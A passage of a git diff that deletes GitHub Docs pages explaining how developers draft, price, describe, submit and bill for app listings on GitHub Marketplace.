![Screenshot of the left sidebar on the app listing page. The overview option for the marketplace draft listing is outlined in dark orange.](/assets/images/marketplace/edit-marketplace-listing-overview.png) - -1. Under "Remove your listing from {% data variables.product.prodname_marketplace %}", click **Delist this Listing** diff --git a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md b/content/apps/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md deleted file mode 100644 index 44f20c4d2fd6..000000000000 --- a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Drafting a listing for your app -intro: 'When you create a {% data variables.product.prodname_marketplace %} listing, GitHub saves it in draft mode until you submit the app for approval. Your listing shows customers how they can use your app.' -redirect_from: - - /apps/adding-integrations/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace - - /apps/marketplace/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace - - /apps/marketplace/getting-started-with-github-marketplace-listings/listing-an-app-on-github-marketplace - - /apps/marketplace/creating-and-submitting-your-app-for-approval/listing-an-app-on-github-marketplace - - /apps/adding-integrations/managing-listings-on-github-marketplace/removing-a-listing-from-github-marketplace - - /apps/marketplace/managing-github-marketplace-listings/removing-a-listing-from-github-marketplace - - /apps/adding-integrations/managing-listings-on-github-marketplace/editing-a-github-marketplace-listing - - /apps/marketplace/managing-github-marketplace-listings/editing-a-github-marketplace-listing - - /apps/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing - - /marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing - - /developers/github-marketplace/drafting-a-listing-for-your-app - - /developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app - - /apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Draft an app listing ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -## Create a new draft {% data variables.product.prodname_marketplace %} listing - -You can only create draft listings for apps that are public. Before creating your draft listing, you can read the following guidelines for writing and configuring settings in your {% data variables.product.prodname_marketplace %} listing: - -* [Writing {% data variables.product.prodname_marketplace %} listing descriptions](/apps/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app) -* [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing) -* [Configuring the {% data variables.product.prodname_marketplace %} Webhook](/apps/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes) - -To create a {% data variables.product.prodname_marketplace %} listing: - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -1. In the left sidebar, click either **OAuth Apps** or **GitHub Apps** depending on the app you're adding to {% data variables.product.prodname_marketplace %}. - - > [!NOTE] - > You can also add a listing by navigating to https://github.com/marketplace/new, viewing your available apps, and clicking **Create draft listing**. - - ![Screenshot of the sidebar on the "Developer Settings" page of {% data variables.product.prodname_dotcom %}. Options labeled "{% data variables.product.prodname_github_apps %}" and "{% data variables.product.prodname_oauth_apps %}" are outlined in dark orange.](/assets/images/settings/apps-choose-app.png) - -1. Select the app you'd like to add to {% data variables.product.prodname_marketplace %}. -{% data reusables.user-settings.edit_marketplace_listing %} -1. Once you've created a new draft listing, you'll see an overview of the sections that you'll need to visit before your {% data variables.product.prodname_marketplace %} listing will be complete. - - ![Screenshot of a draft {% data variables.product.prodname_marketplace %} listing. Under "Publish your app to Marketplace," unfinished actions are marked with orange circles.](/assets/images/marketplace/marketplace-listing-overview.png) - -> [!NOTE] -> In the "Contact info" section of your listing, we recommend using individual email addresses, rather than group emails addresses like support@domain.com. GitHub will use these email addresses to contact you about updates to {% data variables.product.prodname_marketplace %} that might affect your listing, new feature releases, marketing opportunities, payouts, and information on conferences and sponsorships. - -## Editing your listing - -Once you've created a {% data variables.product.prodname_marketplace %} draft listing, you can come back to modify information in your listing anytime. If your app is already approved and in {% data variables.product.prodname_marketplace %}, you can edit the information and images in your listing, but you will not be able to change existing published pricing plans. See [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing). - -## Submitting your app - -Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-marketplace-developer-agreement), and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. diff --git a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/index.md b/content/apps/github-marketplace/listing-an-app-on-github-marketplace/index.md deleted file mode 100644 index 1eff9764e93d..000000000000 --- a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Listing an app on GitHub Marketplace -intro: 'Learn about requirements and best practices for listing your app on {% data variables.product.prodname_marketplace %}.' -redirect_from: - - /apps/adding-integrations/listing-apps-on-github-marketplace - - /apps/marketplace/listing-apps-on-github-marketplace - - /apps/marketplace/getting-started-with-github-marketplace-listings - - /apps/marketplace/creating-and-submitting-your-app-for-approval - - /apps/adding-integrations/managing-listings-on-github-marketplace - - /apps/marketplace/managing-github-marketplace-listings - - /apps/marketplace/listing-on-github-marketplace - - /marketplace/listing-on-github-marketplace - - /developers/github-marketplace/listing-an-app-on-github-marketplace - - /apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -children: - - /drafting-a-listing-for-your-app - - /writing-a-listing-description-for-your-app - - /setting-pricing-plans-for-your-listing - - /configuring-a-webhook-to-notify-you-of-plan-changes - - /submitting-your-listing-for-publication - - /deleting-your-app-listing-from-github-marketplace -shortTitle: List an app on the Marketplace ---- - diff --git a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md b/content/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md deleted file mode 100644 index e11e12ce90f0..000000000000 --- a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Setting pricing plans for your listing -intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' -redirect_from: - - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan - - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan - - /apps/marketplace/pricing-payments-and-free-trials/setting-a-github-marketplace-listing-s-pricing-plan - - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans - - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans - - /apps/marketplace/pricing-payments-and-free-trials/about-github-marketplace-pricing-plans - - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan - - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan - - /apps/marketplace/managing-github-marketplace-listings/changing-a-github-marketplace-listing-s-pricing-plan - - /apps/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan - - /marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan - - /developers/github-marketplace/setting-pricing-plans-for-your-listing - - /developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing - - /apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Set listing pricing plans ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -## About setting pricing plans - -{% data variables.product.prodname_marketplace %} offers several different types of pricing plans. For detailed information, see [AUTOTITLE](/apps/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps). - -To offer a paid plan for your app, your app must be owned by an organization that has completed the publisher verification process and met certain criteria. For more information, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization) and [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app). - -If your app is already published with a paid plan and you're a verified publisher, then you can publish a new paid plan from the "Edit a pricing plan" page in your Marketplace app listing settings. - -If your app is already published with a paid plan and but you are not a verified publisher, then you can cannot publish a new paid plan until you are a verified publisher. For more information about becoming a verified publisher, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization). - -## About saving pricing plans - -You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. - -For guidelines on billing customers, see [AUTOTITLE](/apps/github-marketplace/selling-your-app-on-github-marketplace/billing-customers). - -## Creating pricing plans - -To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app). - -When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: - -* **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. - -* **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: - - * You must set a price for both monthly and yearly subscriptions in US dollars. - * Your app must process plan change events. - * You must request verification to publish a listing with a paid plan. - * {% data reusables.marketplace.marketplace-pricing-free-trials %} - - For detailed information, see [AUTOTITLE](/apps/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps) and [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -* **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal accounts and organizations**, **Personal accounts only**, or **Organizations only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organizations only** because there is no way to assign seats to people in an organization from a personal account. - -* **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - -* **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. - -{% data reusables.marketplace.free-plan-note %} - -## Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan - -If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it by clicking **Delete** at the bottom of the edit page of the plan. - -Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see [AUTOTITLE](/apps/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps). - -Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. - -> [!NOTE] -> {% data variables.product.company_short %} can't remove users from a removed pricing plan. You can run a campaign to encourage users to upgrade or downgrade from the removed pricing plan onto a new pricing plan. - -You can disable GitHub Marketplace free trials without retiring the pricing plan, but this prevents you from initiating future free trials for that plan. If you choose to disable free trials for a pricing plan, users already signed up can complete their free trial. - -After retiring a pricing plan, you can create a new pricing plan with the same name as the removed pricing plan. For instance, if you have a "Pro" pricing plan but need to change the flat rate price, you can remove the "Pro" pricing plan and create a new "Pro" pricing plan with an updated price. Users will be able to purchase the new pricing plan immediately. - -If you are not a verified publisher, then you cannot change a pricing plan for your app. For more information about becoming a verified publisher, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization). diff --git a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md b/content/apps/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md deleted file mode 100644 index 14dc2f5e7a38..000000000000 --- a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Submitting your listing for publication -intro: 'To finish your app listing submission, you can request a review by an onboarding expert.' -redirect_from: - - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - - /developers/github-marketplace/submitting-your-listing-for-review - - /developers/github-marketplace/submitting-your-listing-for-publication - - /developers/github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication - - /apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/submitting-your-listing-for-publication -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Submit your listing ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -Once your app listing meets the {% data variables.product.prodname_marketplace %} requirements, you can submit your app. For an overview of the app listing requirements, see [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app). - -1. In the left sidebar on the app listing page, click **Overview**. For information on finding your app listing page, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app). - - ![Screenshot of the left sidebar on the app listing page. The overview option for the marketplace draft listing is outlined in dark orange.](/assets/images/marketplace/edit-marketplace-listing-overview.png) - -1. To submit your completed app listing, click **Request publish**. - -An onboarding expert will reach out to you with additional information. - -If you want to delete your {% data variables.product.prodname_github_app %}, you must first delete the listing from {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/deleting-your-app-listing-from-github-marketplace). diff --git a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md b/content/apps/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md deleted file mode 100644 index 0265106644ca..000000000000 --- a/content/apps/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: Writing a listing description for your app -intro: 'To [list your app](/marketplace/listing-on-github-marketplace/) in the {% data variables.product.prodname_marketplace %}, you''ll need to write descriptions of your app and provide images that follow GitHub''s guidelines.' -redirect_from: - - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions - - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions - - /apps/adding-integrations/listing-apps-on-github-marketplace/guidelines-for-creating-a-github-marketplace-listing - - /apps/marketplace/listing-apps-on-github/guidelines-for-creating-a-github-marketplace-listing - - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-creating-github-marketplace-listing-images - - /apps/marketplace/creating-and-submitting-your-app-for-approval/creating-github-marketplace-listing-images - - /apps/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions - - /marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions - - /developers/github-marketplace/writing-a-listing-description-for-your-app - - /developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app - - /apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Write listing descriptions ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -Here are guidelines about the fields you'll need to fill out in the **Listing description** section of your draft listing. - -## Naming and links - -### Listing name - -Your listing's name will appear on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). The name is limited to 255 characters and can be different from your app's name. Your listing cannot have the same name as an existing account on {% data variables.product.github %}, unless the name is your own user or organization name. - -### Very short description of listing - -The community will see the "very short" description under your app's name on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). - -![Screenshot of the short description for an app on the {% data variables.product.prodname_marketplace %}.](/assets/images/marketplace/marketplace-short-description.png) - -#### Length of "Very short description" - -We recommend keeping short descriptions to 40-80 characters. Although you are allowed to use more characters, concise descriptions are easier for customers to read and understand quickly. - -#### Content of "Very short description" - -* Describe the app’s functionality. Don't use this space for a call to action. For example: - - **DO:** Lightweight project management for {% data variables.product.company_short %} issues - - **DON'T:** Manage your projects and issues on {% data variables.product.company_short %} - - **Tip:** Add an "s" to the end of the verb in a call to action to turn it into an acceptable description: _Manages your projects and issues on {% data variables.product.company_short %}_ - -* Don’t repeat the app’s name in the description. - - **DO:** A container-native continuous integration tool - - **DON'T:** Skycap is a container-native continuous integration tool - -#### Formatting of "Very short description" - -* Always use sentence-case capitalization. Only capitalize the first letter and proper nouns. - -* Don't use punctuation at the end of your short description. Short descriptions should not include complete sentences, and definitely should not include more than one sentence. - -* Only capitalize proper nouns. For example: - - **DO:** One-click delivery automation for web developers - - **DON'T:** One-click delivery automation for Web Developers - -* Always use a [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists. - -* Avoid referring to the {% data variables.product.company_short %} community as "users." - - **DO:** Create issues automatically for people in your organization - - **DON'T:** Create issues automatically for an organization's users - -* Avoid acronyms unless they’re well established (such as API). For example: - - **DO:** Agile task boards, estimates, and reports without leaving {% data variables.product.company_short %} - - **DON'T:** Agile task boards, estimates, and reports without leaving {% data variables.product.company_short %}'s UI - -### Categories - -Apps in {% data variables.product.prodname_marketplace %} can be displayed by category. Select the category that best describes the main functionality of your app in the **Primary category** dropdown, and optionally select a **Secondary category** that fits your app. - -### Supported languages - -If your app only works with specific languages, select up to 10 programming languages that your app supports. These languages are displayed on your app's {% data variables.product.prodname_marketplace %} listing page. This field is optional. - -### Listing URLs - -**Required URLs** -* **Customer support URL:** The URL of a web page that your customers will go to when they have technical support, product, or account inquiries. -* **Privacy policy URL:** The web page that displays your app's privacy policy. -* **Installation URL:** This field is shown for {% data variables.product.prodname_oauth_apps %} only. ({% data variables.product.prodname_github_apps %} don't use this URL because they use the optional Setup URL from the {% data variables.product.prodname_github_app %}'s settings page instead.) When a customer purchases your {% data variables.product.prodname_oauth_app %}, {% data variables.product.company_short %} will redirect customers to the installation URL after they install the app. You will need to redirect customers to `https://github.com/login/oauth/authorize` to begin the OAuth authorization flow. See [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials) for more details. Skip this field if you're listing a {% data variables.product.prodname_github_app %}. - -**Optional URLs** -* **Company URL:** A link to your company's website. -* **Status URL:** A link to a web page that displays the status of your app. Status pages can include current and historical incident reports, web application uptime status, and scheduled maintenance. -* **Documentation URL:** A link to documentation that teaches customers how to use your app. - -## Logo and feature card - -{% data variables.product.prodname_marketplace %} displays all listings with a square logo image inside a circular badge to visually distinguish apps. - -![Screenshot of the {% data variables.product.prodname_marketplace %} logo and badge images.](/assets/images/marketplace/marketplace-logo-and-badge.png) - -A feature card consists of your app's logo, name, and a custom background image that captures your brand personality. {% data variables.product.prodname_marketplace %} displays this card if your app is one of the four randomly featured apps at the top of the [homepage](https://github.com/marketplace). Each app's very short description is displayed below its feature card. - -![Screenshot of a feature card for OctocatApp. The app's name and an icon of Mona are displayed on a pink background, above the text "United we code."](/assets/images/marketplace/marketplace-feature-card.png) - -As you upload images and select colors, your {% data variables.product.prodname_marketplace %} draft listing will display a preview of your logo and feature card. - -### Guidelines for logos - -You must upload a custom image for the logo. For the badge, choose a background color. - -* Upload a logo image that is at least 200 pixels x 200 pixels so your logo won't have to be upscaled when your listing is published. -* Logos will be cropped to a square. We recommend uploading a square image file with your logo in the center. -* For best results, upload a logo image with a transparent background. -* To give the appearance of a seamless badge, choose a badge background color that matches the background color (or transparency) of your logo image. -* Avoid using logo images with words or text in them. Logos with text do not scale well on small screens. - -### Guidelines for feature cards - -You must upload a custom background image for the feature card. For the app's name, choose a text color. - -* Use a pattern or texture in your background image to give your card a visual identity and help it stand out against the dark background of the {% data variables.product.prodname_marketplace %} homepage. Feature cards should capture your app's brand personality. -* Background image measures 965 pixels x 482 pixels (width x height). -* Choose a text color for your app's name that shows up clearly over the background image. - -## Listing details - -To get to your app's landing page, click your app's name from the {% data variables.product.prodname_marketplace %} homepage or category page. The landing page displays a longer description of the app, which includes two parts: an "Introductory description" and a "Detailed description." - -Your "Introductory description" is displayed at the top of your app's {% data variables.product.prodname_marketplace %} landing page. - -![Screenshot of the {% data variables.product.prodname_marketplace %} introductory description.](/assets/images/marketplace/marketplace-intro-description.png) - -Clicking **Read more...**, displays the "Detailed description." - -Follow these guidelines for writing these descriptions. - -### Length of "Introductory description" and "Detailed description" - -We recommend writing a 1-2 sentence high-level summary between 150-250 characters in the required "Introductory description" field when [listing your app](/apps/github-marketplace/listing-an-app-on-github-marketplace). Although you are allowed to use more characters, concise summaries are easier for customers to read and understand quickly. - -You can add more information in the optional "Detailed description" field. You see this description when you click **Read more...** below the introductory description on your app's landing page. A detailed description consists of 3-5 [value propositions](https://en.wikipedia.org/wiki/Value_proposition), with 1-2 sentences describing each one. You can use up to 1,000 characters for this description. - -### Content of "Introductory description" and "Detailed description" - -* Always begin introductory descriptions with your app's name. - -* Always write descriptions and value propositions using the active voice. - -### Formatting of "Introductory description" and "Detailed description" - -* Always use sentence-case capitalization in value proposition titles. Only capitalize the first letter and proper nouns. - -* Use periods in your descriptions. Avoid exclamation marks. - -* Don't use punctuation at the end of your value proposition titles. Value proposition titles should not include complete sentences, and should not include more than one sentence. - -* For each value proposition, include a title followed by a paragraph of description. Format the title as a [level-three header](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#headings) using Markdown. For example: - -### Learn the skills you need - - {% data variables.product.prodname_learning %} can help you learn how to use {% data variables.product.company_short %}, communicate more effectively with Markdown, handle merge conflicts, and more. - -* Only capitalize proper nouns. - -* Always use the [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists. - -* Avoid referring to the {% data variables.product.company_short %} community as "users." - - **DO:** Create issues automatically for people in your organization - - **DON'T:** Create issues automatically for an organization's users - -* Avoid acronyms unless they’re well established (such as API). - -## Product screenshots - -You can upload up to five screenshot images of your app to display on your app's landing page. Add an optional caption to each screenshot to provide context. After you upload your screenshots, you can drag them into the order you want them to be displayed on the landing page. - -### Guidelines for screenshots - -* Images must be of high resolution (at least 1200px wide). -* All images must be the same height and width (aspect ratio) to avoid page jumps when people click from one image to the next. -* Show as much of the user interface as possible so people can see what your app does. -* When taking screenshots of your app in a browser, only include the content in the display window. Avoid including the address bar, title bar, or toolbar icons, which do not scale well to smaller screen sizes. -* {% data variables.product.company_short %} displays the screenshots you upload in a box on your app's landing page, so you don't need to add boxes or borders around your screenshots. -* Captions are most effective when they are short and snappy. - -![Screenshot of an example of a product screenshot of an app on the {% data variables.product.prodname_marketplace %}.](/assets/images/marketplace/marketplace-screenshots.png) diff --git a/content/apps/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md b/content/apps/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md deleted file mode 100644 index 8123c010dc14..000000000000 --- a/content/apps/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Billing customers -intro: 'Apps on {% data variables.product.prodname_marketplace %} should adhere to GitHub''s billing guidelines and support recommended services. Following our guidelines helps customers navigate the billing process without any surprises.' -redirect_from: - - /apps/marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace - - /apps/marketplace/selling-your-app/billing-customers-in-github-marketplace - - /marketplace/selling-your-app/billing-customers-in-github-marketplace - - /developers/github-marketplace/billing-customers - - /developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers - - /apps/publishing-apps-to-github-marketplace/selling-your-app-on-github-marketplace/billing-customers -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -## Understanding the billing cycle - -Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api). - -## Providing billing services in your app's UI - -Customers should be able to perform the following actions from your app's website: -* Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. -{% data reusables.marketplace.marketplace-billing-ui-requirements %} - -## Billing services for upgrades, downgrades, and cancellations - -Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/apps/marketplace#list-accounts-for-a-plan). - -### Upgrades - -When a customer upgrades their pricing plan or changes their billing cycle from monthly to yearly, you should make the change effective for them immediately. You need to apply a pro-rated discount to the new plan and change the billing cycle. - -{% data reusables.marketplace.marketplace-failed-purchase-event %} - -For information about building upgrade and downgrade workflows into your app, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes). - -### Downgrades and cancellations - -Downgrades occur when a customer moves to a free plan from a paid plan, selects a plan with a lower cost than their current plan, or changes their billing cycle from yearly to monthly. When downgrades or cancellations occur, you don't need to provide a refund. Instead, the current plan will remain active until the last day of the current billing cycle. The `marketplace_purchase` event will be sent when the new plan takes effect at the beginning of the customer's next billing cycle. - -When a customer cancels a plan, you must: -* Automatically downgrade them to the free plan, if it exists. - - {% data reusables.marketplace.cancellation-clarification %} -* Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. - -For information about building cancellation workflows into your app, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations). diff --git a/content/apps/github-marketplace/selling-your-app-on-github-marketplace/index.md b/content/apps/github-marketplace/selling-your-app-on-github-marketplace/index.md deleted file mode 100644 index 4d4bba72e607..000000000000 --- a/content/apps/github-marketplace/selling-your-app-on-github-marketplace/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Selling your app on GitHub Marketplace -intro: 'Learn about requirements and best practices for selling your app on {% data variables.product.prodname_marketplace %}.' -redirect_from: - - /apps/marketplace/administering-listing-plans-and-user-accounts - - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing - - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing - - /apps/marketplace/pricing-payments-and-free-trials - - /apps/marketplace/selling-your-app - - /marketplace/selling-your-app - - /developers/github-marketplace/selling-your-app-on-github-marketplace - - /apps/publishing-apps-to-github-marketplace/selling-your-app-on-github-marketplace -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -children: - - /pricing-plans-for-github-marketplace-apps - - /billing-customers - - /receiving-payment-for-app-purchases -shortTitle: Sell apps on the Marketplace ---- - diff --git a/content/apps/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md b/content/apps/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md deleted file mode 100644 index 0ac766cbdb65..000000000000 --- a/content/apps/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Pricing plans for GitHub Marketplace apps -intro: 'Pricing plans allow you to provide your app with different levels of service or resources. You can offer up to 10 pricing plans in your {% data variables.product.prodname_marketplace %} listing.' -redirect_from: - - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans - - /marketplace/selling-your-app/github-marketplace-pricing-plans - - /developers/github-marketplace/pricing-plans-for-github-marketplace-apps - - /developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps - - /apps/publishing-apps-to-github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Pricing plans for apps ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -{% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to apps published by verified publishers. For more information about becoming a verified publisher, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization). - -Customers purchase your app using a payment method attached to their account on {% data variables.product.prodname_dotcom %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. - -For more information on how to create a pricing plan, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing). - -{% data 